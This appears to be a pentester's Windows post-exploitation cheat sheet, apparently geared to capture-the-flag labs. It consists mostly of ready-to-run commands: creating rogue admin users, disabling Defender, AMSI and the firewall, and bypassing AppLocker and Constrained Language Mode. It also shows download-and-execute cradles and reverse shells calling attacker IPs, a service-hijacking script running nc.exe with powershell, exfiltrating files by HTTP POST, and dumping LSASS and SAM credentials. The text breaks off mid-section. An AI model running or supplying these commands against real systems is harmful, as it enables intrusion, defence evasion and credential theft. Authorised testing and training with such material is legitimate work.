02Windows
Lateral Movement
01 Common commands
01.1 OS Enumerations
python39 lines
## ------------------| Get Basic detailssysteminfosysteminfo | findstr /B /C:"OS Name" /C:"OS Version"whoami /all[System.Environment]::OSVersion.VersionGet-ComputerInfo | Select-Object WindowsProductName, WindowsVersion, OsHardwareAbstractionLayerVersion(Get-ItemProperty "HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion").ReleaseId
## ------------------| Get environment paths##[Powershell]Get-ChildItem Env: | ft Key,Valuedir env:
## ------------------| Get .Net Version (cmd/ps)reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
## ------------------| Get System Architecher 32 or 64##[Powershell]$env:PROCESSOR_ARCHITECTURE[Environment]::Is64BitProcess[Environment]::Is64BitOperatingSystem##[cmd]set processor
## ------------------| Extract os patchs and updateswmic qfe
## ------------------| List all installed software with patches (wmic product get name, version, vendor
## ------------------| List all diskmountvolwmic logicaldisk get caption,description,providername
## ------------------| List firewall state and current configurationnetsh advfirewall firewall dumpnetsh firewall show statenetsh firewall show confignetsh advfirewall firewall show rule name=all01.2 User Enumerations
bash41 lines
## ------------------| Get current usernameecho %USERNAME% || whoami$env:username
## ------------------| List user infonet user <USER>net user <USER> /domain
## ------------------| Get userprofile (home) directorywrite-host $env:USERPROFILE
## ------------------| List user privilegewhoami /privwhoami /groups
## ------------------| List all usersnet userwhoami /allGet-LocalUser | ft Name,Enabled,LastLogonGet-ChildItem C:\Users -Force | select Name
## ------------------| List logon requirementsnet accounts
## ------------------| List all local groupsnet localgroupGet-LocalGroup | ft Name
## ------------------| Get details about a groupnet localgroup administratorsGet-LocalGroupMember Administrators | ft Name, PrincipalSourceGet-LocalGroupMember Administrateurs | ft Name, PrincipalSource
## ------------------| Get Domain Controllersnltest /DCLIST:DomainNamenltest /DCNAME:DomainNamenltest /DSGETDC:DomainName
## ------------------| Get Domain Usersnet view /domainnet view /domain:DomainName- Create user
bash20 lines
## ------------------| Add h4rithd as admin user + psexecwget https://gist.githubusercontent.com/h4rithd/90379a35fd6d9950d2de6e62f38ebff8/raw/48df3adf04a819842cccd1ef34e7e927074e7e89/CrazyUser.c## 64-bit: x86_64-w64-mingw32-gcc CrazyUser.c -o CrazyUser.exe -lnetapi32## 32-bit: i686-w64-mingw32-gcc CrazyUser.c -o CrazyUser.exe -lnetapi32
## ------------------| Local accountnet user /add harith Password@123 ### Create a local usernet localgroup "Administrators" harith /add ### Add to the Administrator groupnet localgroup "Remote Desktop Users" harith /add ### Add to the Remote Desktop Usersnet localgroup "Remote Management Users" harith /add ### Add to the WinRM Users
## ------------------| Domain account## This commands can be used only on a Windows Domain Controllernet user h4rithd Passw0rD$ /add /domain
# Check members onnet group "Exchange Windows Permissions"
# Add members tonet group "Exchange Windows Permissions" /add h4rithd- Login as another user
bash36 lines
## ------------------| If you have RDPrunAs /user:h4rithd cmd.exepowershell.exe Start-Process cmd.exe -Verb runAs /user:h4rithd
## ------------------| Using RunasCs#### Using RunasCs.exe## .Net v2.0wget https://github.com/h4rithd/PrecompiledBinaries/raw/main/RunasCs/DotNet-v2.0/RunasCs.exe## .Net v4.0wget https://github.com/h4rithd/PrecompiledBinaries/raw/main/RunasCs/DotNet-v4.0/RunasCs.exeRunasCs.exe <USER> <PASS> "cmd /c whoami"RunasCs.exe <USER> <PASS> cmd -r <IP>:4545#### Using powershell sciptwget https://raw.githubusercontent.com/antonioCoco/RunasCs/master/Invoke-RunasCs.ps1IEX (New-Object Net.WebClient).DownloadString('http://<IP>/Invoke-RunasCs.ps1')Invoke-RunasCs <USER> <PASS> "cmd /c whoami"Invoke-RunasCs -Username user1 -Password password1 -Command cmd.exe -Remote <IP>:4545
## ------------------| Create Creds Object$env:ComputerName$user = "ComputerName\USERNAME" # It's better to use with $user = "<hostname>\<USER>"$pass = "PASSWORD"$secStringPass = ConvertTo-SecureString $pass -AsPlainText -Force$Creds = New-Object System.Management.Automation.PSCredential($user,$secStringPass)## OR -----------------------------------------------------------------------------------------------------$pass = convertto-securestring -AsPlainText -Force -String "PASSWORD"$Creds = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "ComputerName\USERNAME",$pass
## ------------------| Use the Creds Object for activities### Get Hostname using hostname commandInvoke-Command -Credential $Creds -ComputerName <IP/LOCALHOST/Hostname> -ScriptBlock { whoami }Enter-PSSession -Credential $Creds -ComputerName <IP/LOCALHOST/Hostname>Start-Process -Credential $Creds -FilePath Powershell -argumentlist "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.22/rev.ps1')"
## Double hop access (Authentication CredSSP)Invoke-Command -ComputerName helpline -Authentication CredSSP -credential $cred -ScriptBlock { whoami }- Change password
bash2 lines
$pass = ConvertTo-SecureString 'Pas$word!' -asPlainText -ForceSet-DomainUserPassword Herman -AccountPassword $pass -Verbose- Stored Credentials | Saved Creds
bash2 lines
cmdkey /listrunas /savecred /user:<USER> C:\<PATH>\shell.exe01.3 Network Enumeration
bash24 lines
## ------------------| List all listening portsnetstat -ano | findstr /i listennetstat -anop tcp
## ------------------| List all network interfaces, IP, and DNS.ipconfig /allGet-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4AddressGet-DnsClientServerAddress -AddressFamily IPv4 | ft
## ------------------| List current routing tableroute printGet-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
## ------------------| List the ARP tablearp -AGet-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
## ------------------| List all network sharesnet sharepowershell Find-DomainShare -ComputerDomain domain.local
## ------------------| SNMP Configurationreg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /sGet-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse- Turn on RDP
bash19 lines
## ------------------| Enable the RDPSet-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0
## ------------------| Enable authentication via RDPSet-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "UserAuthentication" -Value 1
## ------------------| Enable RDP through the Windows FirewallEnable-NetFirewallRule -DisplayGroup "Remote Desktop"
## ------------------| Using MSFuse post/windows/manage/enable_rdpset Username h4rithdset Password Password123!set SESSION 1inforun
## ------------------| Login to the RDPrdesktop -g 1920x1080 <IP>- Ping sweeper
bash8 lines
## ------------------| Genaral1..255 | % {echo "192.168.1.$_"; ping -n 1 -w 100 192.168.1.$_} | Select-String ttl
## ------------------| Parallel ping sweeperworkflow ParallelSweep { foreach -parallel -throttlelimit 4 ($i in 1..255) {ping -n 1 -w 100 10.0.0.$i}}; ParallelSweep | Select-String ttl
## ------------------| Multi-subnet ping sweeper with OS Detection0..10 | % { $a = $_; 1..255 | % { $b = $_; ping -n 1 -w 10 "10.0.$a.$b" | select-string TTL | % { if ($_ -match "ms") { $ttl = $_.line.split('=')[2] -as [int]; if ($ttl -lt 65) { $os = "Linux" } ElseIf ($ttl -gt 64 -And $ttl -lt 129) { $os = "Windows" } else { $os = "Cisco"}; write-host "10.0.$a.$b OS: $os"; echo "10.0.$a.$b" >> scan_results.txt }}} }- Export DNS Zones
bash\Windows\system32\dns\dns-export.txt2 lines
Get-DNSServerZoneExport-DnsServerZone -Name localnet.domain -FileName dns-export.txt- Responder [Inveigh]
bash3 lines
wget https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1IEX (New-Object Net.WebClient).DownloadString('http://<IP>/Inveigh.ps1')Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -Proxy Y -LogOutput Y -FileOutput Y01.4 Process / Service Enumeration
bash45 lines
## ------------------| List all ProcessGet-Process -name firefoxtasklist /v | findstr smssps | findstr smss
## ------------------| List all servicesGet-Servicesc query state=allget-wmiobject win32_service## If all above commands are failed; try followingSet-Location 'HKLM:\SYSTEM\CurrentControlSet\Services'Get-ChildItem . | select nameGet-ChildItem . | where-object { $_.Name -like '*EnterServiceNameHere*'
## ------------------| Processes are running as "system"tasklist /v /fi "username eq system"
## ------------------| Kill processtaskkill /f /im:filename.exe
## ------------------| Scheduled Tasks### List all tasksschtasks /query /fo LIST /v### Run taskschtasks /RUN /RN "\NameHere"
## ------------------| Start Service (Stop,Restart)## Get Display Name using above methordStop-Service "Ubiquiti UniFi Video"Start-Service "Ubiquiti UniFi Video"net stop EnterServiceNameHerenet start EnterServiceNameHeresc.exe stop EnterServiceNameHeresc.exe start EnterServiceNameHere
## ------------------| Examine basic service propertiesGet-Service nscp | fl *
## ------------------| List loaded assemblies[appdomain]::currentdomain.getassemblies() | Sort-Object -Property fullname | Format-Table fullname
## ------------------| List only running servicesGet-Service | where {$_.Status -eq "Running"}
wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /V "C:\Windows" | findstr /i /V "''"- Modifiable Services
bash6 lines
## ------------------| Modify the UsoSvc service bin pathsc.exe config UsoSvc binpath="cmd.exe /c powershell -EncodedCommand SQBFAFgAKABOA.....ApAA=="
## ------------------| Restart the UsoSvc servicesc.exe stop UsoSvcsc.exe start UsoSvc- Dump process
bash8 lines
## ------------------| Dump Process using rundll32get-processrundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> <PATH-TO-SAVE-FILE> full## Dumping Lsass Without Mimikatz]rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 624 C:\Users\Public\Documents\lsass.dmp
## ------------------| Dump Process using ProcDump./procdump.exe -accepteula -ma <PID>- List installed programs
bash2 lines
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTimeGet-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name01.5 Registry Enumeration
- Service Registry Enumeration
bash42 lines
## ------------------| Check if user has FullControlaccesschk.exe "<USER>" -kwsu HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services## or -----------------------------------------------------------$acl = get-acl HKLM:\SYSTEM\CurrentControlSet\Services; ConvertFrom-SddlString -Sddl $acl.Sddl | Foreach-Object {$_.DiscretionaryAcl}
## ------------------| Find a serive I can restart$cmd = "C:\inetpub\wwwroot\uploads\nc.exe 10.10.14.187 444 -e powershell.exe"\# Create a list of services$otp = ./accesschk.exe "Hector" -kvuqsv hklm:\System\CurrentControlSet\Services$services = $otp.Split([Environment]::NewLine)# Lopp through each serviceforeach($service in $services) { # If the current line is not a service, skip it if(!$service.StartsWith("RW HKLM")) { continue } # Validate that the line is indeed a service $name = $service.Split("\\")[-1].Split([Environment]::NewLine)[0] $s = Get-Service -Name $name -ErrorAction SilentlyContinue if(!$s) { continue } echo $service $serv = $service.Split(" ")[-1].Split([Environment]::NewLine)[0] echo $serv # Attempt to exploit the service: # 1. Change the service's binary path to $cmd # 2. Restart the service if($s.Status -eq 'Running') { reg add $serv /v ImagePath /t REG_EXPAND_SZ /d "$cmd" /f >a.txt if((Get-Service -Name $name).Status -eq 'Running') { Get-Service -Name $name | Stop-Service -ErrorAction SilentlyContinue Write-Host "[STOP] "$name } } elseif ($s.Status -eq 'Stopped') { reg add $serv /v ImagePath /t REG_EXPAND_SZ /d "$cmd" /f >a.txt if((Get-Service -Name $name).Status -eq 'Stopped') { Get-Service -Name $name | Start-Service -ErrorAction SilentlyContinue Write-Host "[START] "$name } }}01.6 File Enumeration
bash26 lines
## ------------------| List all file include hidden onesdir -forcedir /b/s C:\ flag.txtwhere /R C:\ flag.txtgci -r . user.txtgci -recurse | select FullNamegci -recurse C:\Users\ user.txtGet-ChildItem -Path C:\Users -Recurse -Include root.txt,user.txt | select Fullname
## ------------------| List 8.3 filename generation (~)cmd /c dir /X
## ------------------| Get file stream datacmd /c dir /rGet-Item <FileName> -Stream *Get-Content <FileName> -Stream <StreamName>
## ------------------| List all files only has extentiongci -recurse -include *.* | select FullName
## ------------------| Replace some word (sed)((cat ..\path\to\file.txt -Raw) -replace 'foo', 'bar') | sc -path ..\path\to\new\file.txt
## ------------------| List all installed drivers / versiondriverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object 'Display Name', 'Start mode', PathGet-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*VMware*"}- Advance search
bash55 lines
## ------------------| Search for file contentscd C:\ & findstr /SI /M "password" *.xml *.ini *.txtfindstr /si password *.xml *.ini *.txt *.configfindstr /spin "password" *.*
## ------------------| Search for a file with a certain filenamedir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*where /R C:\ user.txtwhere /R C:\ *.ini
## ------------------| Search for strings inside filesIWR -Uri "https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/Find-Strings.ps1" -OutFile "Find-Strings.ps1".\Find-Strings.ps1 -stopAt "5".\Find-strings.ps1 -Path "$Env:TMP" -String "pass=|passwd=|password=".\Find-strings.ps1 -Path "$Env:USERPROFILE" -String "[^$]password="
## ------------------| Find GPP Passwords in SYSVOLdir "C:\ProgramData\Microsoft\Group Policy\History\"findstr /S cpassword $env:logonserver\sysvol\*.xmlfindstr /S cpassword %logonserver%\sysvol\*.xml (cmd.exe)findstr /S /I cpassword \\<DOMAIN>\sysvol\<DOMAIN>\policies\*.xml
## ------------------| Search Windows AutologinREG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon" /v DefaultPassword /reg:64REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" | findstr "DefaultUserName DefaultDomainName DefaultPassword"REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
## ------------------| Search the registry for key names and passwordsREG QUERY HKLM /F "password" /t REG_SZ /S /KREG QUERY HKCU /F "password" /t REG_SZ /S /K
## ------------------| Search SNMP parametersREG QUERY "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
## ------------------| Search Putty clear text proxy credentialsREG QUERY "HKCU\Software\SimonTatham\PuTTY\Sessions"
## ------------------| Search VNC credentialsREG QUERY "HKCU\Software\ORL\WinVNC3\Password"REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
REG QUERY HKLM /f password /t REG_SZ /sREG QUERY HKCU /f password /t REG_SZ /s
## ------------------| Search Insecure File Permissions (check World Writeble)### Tool : https://docs.microsoft.com/en-us/sysinternals/downloads/accesschkaccesschk.exe /accepteula -uwcqv "Authenticated Users" *accesschk.exe /accepteula -uws "Everyone" "C:\Program Files"
## ------------------| Backup Sticky Notes### Win 10 New (Version 1607)cd C:\Users\<USER>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState### Win 10/7/8 (Version 1511)cd C:\Users\<USER>\AppData\Roaming\Microsoft\Sticky Notes## copy all plum.* files; then use sqlite to extrack- Weak Permission
powershell9 lines
## ------------------| File\Foldericacls "C:\Program Files (x86)\*" 2>null | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"icacls "C:\Program Files\*" 2>null | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
## ------------------| Servicewmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /V "C:\Windows" | findstr /i /V """"Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'} | findstr "Program"icacls "C:\Program Files (x86)\*" 2>null | findstr "BUILTIN\Users:(I)(F)"icacls "C:\Program Files\*" 2>null | findstr "BUILTIN\Users:(I)(F)"- Set / Check permissions
bash22 lines
## ------------------| CheckGet-ACL folder-or-file-name | FL *Get-ACL root.txt | FL AccessToString
## ------------------| Set Full-Controlcacls root.txt /t /e /p UserName:F
## ------------------| Remove user from ACLcacls root.txt /e /r UserName
#---------------- cacls Commands Help# /e Edit an ACL instead of replacing it.# /t Changes ACLs of specified files in the current directory and all subdirectories.# /p user:<perm> Replace specified user's access rights, including these valid values for permission:# |-> n - None# |-> r - Read# |-> w - Write# |-> c - Change (write)# |-> f - Full control
## ------------------| Search Insecure File Permissions (check World Writeble)Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}- Enumerate Shortcut (
.lnk)
bash3 lines
$Wscript = New-Object -ComObject Wscript.Shell$shortcut = Get-ChildItem *.lnk$Wscript.CreateShortcut($shortcut)- Compress & Extract zip file
bash5 lines
## ------------------| CompressCompress-Archive -LiteralPath <PathToFiles> -DestinationPath <PathToDestination>.zip
## ------------------| Extract / UnzipExpand-Archive -LiteralPath <PathToZipFile>.zip -DestinationPath <PathToDestination>01.7 Firewall / Defender
01.7.1 Firewall
bash31 lines
## ------------------| List firewall state and current configurationnetsh advfirewall firewall dumpnetsh firewall show statenetsh firewall show confignetsh advfirewall firewall show rule name=all
## ------------------| List firewall rulesGet-NetFirewallPortFilterGet-NetFirewallRuleGet-NetFirewallRule -Direction Outbound -Enabled True -Action BlockGet-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
## ------------------| Add firewall rule to open 3306 portnetsh advfirewall firewall add rule name"forward_port_rule" protocol=TCP dir=in localip=<compromised_ip> localport 3306 action=alow
## ------------------| Disable Firewall on Windows 7 via cmdREG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
## ------------------| Disable Firewall on Windows 7 via Powershellpowershell.exe -ExecutionPolicy Bypass -command 'Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" –Value'`
## ------------------| Disable Firewall on any windows via cmdnetsh firewall set opmode disablenetsh Advfirewall set allprofiles state off
## ------------------| Enable (psexec) access to $ADMIN C$, IP$ (Windows Administrative Shares)REG add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
## ------------------| List firewall's blocked portspowershell -c "$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules | where {$_.action -eq "0"} | select name,applicationname,localports;$f"powershell -c "Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}}, @{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}}, @{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}}, Enabled, Profile, Direction, Action"01.7.2 Antivirus & Detections | Disable Defender
bash27 lines
## ------------------| Check Defender StatusGet-MpComputerStatus
## ------------------| Check Defender Exclusions ListGet-MpPreference | Select-Object -Property ExclusionPath -ExpandProperty ExclusionPathGet-MpPreference | Select-Object -Property ExclusionPath | Format-Table -AutoSize
## ------------------| Disable Defendercd "C:\Progra~1\Windows Defender".\mpcmdrun.exe -RemoveDefinitions -All
## ------------------| Disable scanning all downloaded files and attachments, disable AMSI (reactive)Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatusSet-MpPreference -DisableIOAVProtection $true
## ------------------| Disable AMSI (set to 0 to enable)Set-MpPreference -DisableScriptScanning 1
## ------------------| Exclude a Folder, Extension or ProcessAdd-MpPreference -ExclusionPath "C:\Windows\Temp" -ForceAdd-MpPreference -ExclusionPath "C:\Windows\Tasks" -ForceAdd-MpPreference -ExclusionPath "C:\Windows\Temp\h4rithd" -ForceSet-MpPreference -ExclusionProcess "mimikatz.exe", "winPEAS.exe" -ForceAdd-MpPreference -ExclusionExtension "exe" -Force
## ------------------| Remove signatures (if Internet connection is present, they will be downloaded again):"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All01.8 Default Locations
bash29 lines
## ------------------| Powershell Default locations[x86] C:\windows\syswow64\windowspowershell\v1.0\powershell.exe[x64] C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe[x64] C:\windows\sysnative\windowspowershell\v1.0\powershell.exe
## ------------------| Default Writeable FoldersC:\Windows\System32\Microsoft\Crypto\RSA\MachineKeysC:\Windows\System32\spool\drivers\colorC:\Windows\TasksC:\Windows\tracingC:\Windows\TempC:\Users\Public
## ------------------| Passwords in unattend.xmlC:\unattend.xmlC:\Windows\Panther\Unattend.xmlC:\Windows\Panther\Unattend\Unattend.xmlC:\Windows\system32\sysprep.infC:\Windows\system32\sysprep\sysprep.xml
## ------------------| Sticky Notes passwordsC:\Users\<USER>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
## ------------------| Powershell Historytype %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txttype C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txttype $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtcat (Get-PSReadlineOption).HistorySavePathcat (Get-PSReadlineOption).HistorySavePath | sls passw- World writable directories (for AnyUsers)
bash8 lines
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeysC:\Windows\system32\spool\drivers\colorC:\Users\PublicPort ForwardC:\Users\Public\DocumentsC:\Windows\tracingC:\Windows\TasksC:\Windows\TempC:\programdata01.9 Policy Bypassing
- PowerShell Execution Policy Bypass
bash23 lines
## ------------------| Check/Set Execution Policy StatusSet-ExecutionPolicy RemoteSigned # To set the policy to RemoteSigned.Set-ExecutionPolicy Unrestricted # To set the policy to Unrestricted.Get-ExecutionPolicy # To verify the current settings for the execution policy.Get-ExecutionPolicy -List | Format-Table -AutoSize
## ------------------| How to bypass## 0) If you have evil-winrm access; copy rev.ps1 file to current directory. thenevil-winrm -i <IP> -u <USER> -p <PASS> -s $(pwd)rev.ps1menu
## 1) Copy & Paste the Script into an Interactive PowerShell Console
## 2) Read Script from a File and Pipe to PowerShell Standard InGet-Content rev.ps1 | PowerShell.exe -noprofile -type rev.ps1 | PowerShell.exe -noprofile -
## 3) Download Script from URL and Execute with Invoke Expressionpowershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://<IP>/rev.ps1')"
## 3) Use the “Bypass” Execution Policy FlagPowerShell.exe -ExecutionPolicy Bypass -File .\rev.ps1- Bypass the App Locker Group Policy
bash31 lines
## ------------------| Check App locker statusGet-ApplockerPolicy -Effective -xmlGet-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
## ------------------| Bypass | Move file to following pathsC:\Windows\TempC:\Windows\TasksC:\windows\tracingC:\Windows\System32\FxsTmpC:\Windows\System32\com\dmpC:\Windows\SysWOW64\FxsTmpC:\Windows\SysWOW64\com\dmpC:\Windows\Registration\CRMLogC:\Windows\System32\spool\SERVERSC:\Windows\System32\spool\PRINTERSC:\Windows\System32\spool\drivers\colorC:\Windows\System32\Tasks\Microsoft\Windows\SyncCenterC:\Windows\System32\Microsoft\Crypto\RSA\MachineKeysC:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenterC:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\SystemC:\Windows\System32\Tasks_Migrated # after peforming a version upgrade of Windows 10
## ------------------| Bypass using Powerviewcp /opt/PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1 .IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.26/Invoke-ReflectivePEInjection.ps1')$PEBytes = [IO.File]::ReadAllBytes('full\path\for\application.exe')Invoke-ReflectivePEInjection -PEBytes $PEBytes## Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"
## ------------------| More infohttps://github.com/api0cradle/UltimateAppLockerByPassList- PowerShell Constrained Language Mode Bypass.
bash20 lines
## ------------------| Verify ConstrainedLanguage mode enabled?$ExecutionContext.SessionState.LanguageMode
## ------------------| Methord 01powershell.exe -version 2 IEX (New-Object System.Net.Webclient).DownloadString('http://<IP>/rev.ps1')
## ------------------| Methord 02## You can run commands inside the function like this -> function test { whoami } and this equel to &{ whoami }cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 rev.ps1echo -e "Invoke-PowerShellTcp -Reverse -IPAddress <LHOST> -Port 4545" >> rev.ps1python3 -m http.server 80echo -n "IEX(New-Object Net.WebClient).DownloadString('http://<LHOST>/rev.ps1')" | iconv --to-code UTF-16LE | base64 -w 0&{ powershell -enc JABzAG0...Sad== }
## ------------------| Using PsBypassCLMwget https://github.com/h4rithd/PrecompiledBinaries/blob/main/PSBypassCLM/PsBypassCLM.exe### Execute### Place the binary in C:\Windows\Tasks\PsBypassCLM.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U C:\Windows\Tasks\PsBypassCLM.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.14.38 /rport=4545 /U C:\Windows\Tasks\PsBypassCLM.exe- UAC Bypass
bash5 lines
REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System
## Bypasinghttps://github.com/hfiref0x/UACMEhttps://docs.h4rithd.com/windows/privilageesc-windows#01.-common-tricks01.10 Upload / Download / Execute
- Upload file.
bash8 lines
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:/<PATH>/BloodHound.zip' -Encoding Byte))Invoke-WebRequest -Uri http://10.10.14.25:443 -Method POST -Body $b64
## Download file with netcatecho <base64> | base64 -d -w 0 > bloodhound.zip
## ------------------| The Background Intelligent Transfer Service (BITS)Start-BitsTransfer "C:\Temp\bloodhound.zip" -Destination "http://10.10.10.132/uploads/bloodhound.zip" -TransferType Upload -ProxyUsage Override -ProxyList PROXY01:8080 -ProxyCredential INLANEFREIGHT\svc-sql- Download file
bash24 lines
## ------------------| Old version (support for any version)powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.63/nc.exe', 'C:\Users\Public\nc.exe')"
## ------------------| New version (alias IWR)powershell -c "Invoke-WebRequest http://10.10.14.26/nc.exe -OutFile C:\Users\Public\nc.exe"
## ------------------| Executed in memory (alias IEX)powershell -c "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://10.10.14.25/revshell.ps1')"powershell -c "Invoke-WebRequest http://10.10.14.25/revshell.ps1 | iex"
## ------------------| Internet Explorer’s First Run error (-useBasicParsing)powershell -c "IWR -useBasicParsing http://10.10.14.26/nc.exe -o C:\Users\Public\nc.exe"### If you have admin access you can disable Internet Explorer’s First Run customizationreg add "HKLM\SOFTWARE\Microsoft\Internet Explorer\Main" /f /v DisableFirstRunCustomize /t REG_DWORD /d 2
## ------------------| CMD wayscertutil -urlcache -split -f http://10.10.14.26/nc.exe C:\Users\Public\nc.exe
## ------------------| Using Curlpowershell curl http://10.10.14.11/rev.ps1
## ------------------| The Background Intelligent Transfer Service (BITS)bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exeImport-Module bitstransfer;Start-BitsTransfer -Source "http://10.10.10.32/nc.exe" -Destination "C:\Temp\nc.exe"- Execute file
bash6 lines
## ------------------| RemoteIEX(New-Object Net.WebClient).DownloadString('http://10.10.14.26/SharpHound.ps1')
## ------------------| Local.\rev.ps1Import-Module .\rev.ps101.11 Encoding / Decoding
- Encoded Payload
bash5 lines
## ------------------| Encode the payloadecho -n "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.26/rev.ps1')" | iconv --to-code UTF-16LE | base64 -w 0
## ------------------| Run the payloadpowershell -EncodedCommand SQBFAFgAKABOA.....ApAA==- Encode file to base64
bash11 lines
## ------------------| Method Ipowershell -c [convert]::ToBase64String((cat C:\windows\system32\license.rtf -Encoding byte))
## ------------------| Method IIcertutil -encode C:\windows\system32\license.rtf license-b64.out
## ------------------| Method III$fc = Get-Content "file name.txt"$fc$fe = [System.Text.Encoding]::UTF8.GetBytes($fc)[System.Convert]::ToBase64String($fe)- Decode secure password (
SecureString)
bash23 lines
## ------------------| From SecureString.xml$file = Import-CliXml -Path string.xml$file.GetNetworkCredential().Password$file.GetNetworkCredential().Flag
## ------------------|$pw = gc admin-pass.xml | ConvertTo-SecureString$cred = New-Object System.Management.Automation.PSCredential("Administrator", $pw)$cred.GetNetworkCredential() | fl *
## ------------------|$user = "USERNAME"$pass = "PASSWORD"$secStringPass = ConvertTo-SecureString $pass -AsPlainText -Force$cred = New-Object System.Management.Automation.PSCredential($user,$secStringPass)$cred | fl$cred.GetNetworkCredential() | fl
## ------------------| If you only have the secure string$user = "<USER>"$pass = ConvertTo-SecureString <SecureStringPassword>$cred = New-Object System.Management.Automation.PSCredential($user,$pass)$cred.GetNetworkCredential() | fl01.12 Dumping Credentials
- Dump
SAMandSYSTEMfiles
bash7 lines
REG SAVE HKLM\SYSTEM SYSTEMREG SAVE HKLM\SAM SAM
# Get hashesimpacket-secretsdump -sam SAM -system SYSTEM local
impacket-secretsdump -sam SAM -system SYSTEM -history local- With Out-Minidump.ps1
bash3 lines
wget https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1IEX(New-Object Net.Webclient).DownloadString('http://<IP>/Out-Minidump.ps1')Get-Process lsass | out-minidump- With Procdump
bash10 lines
## ------------------| Get PIDtasklist | findstr /i lsas
## ------------------| Dump to fileprocdump64.exe -accepteula -ma <PID> lsass.dmpprocdump64.exe -accepteula -ma lsass.exe lsass.dmp
## ------------------| Extract hashespypykatz lsa minidump lsass.dmpmimikatz.exe "sekurlsa::minidump c:\lsass.dmp" "sekurlsa::logonpasswords"- With Dumpert
bash5 lines
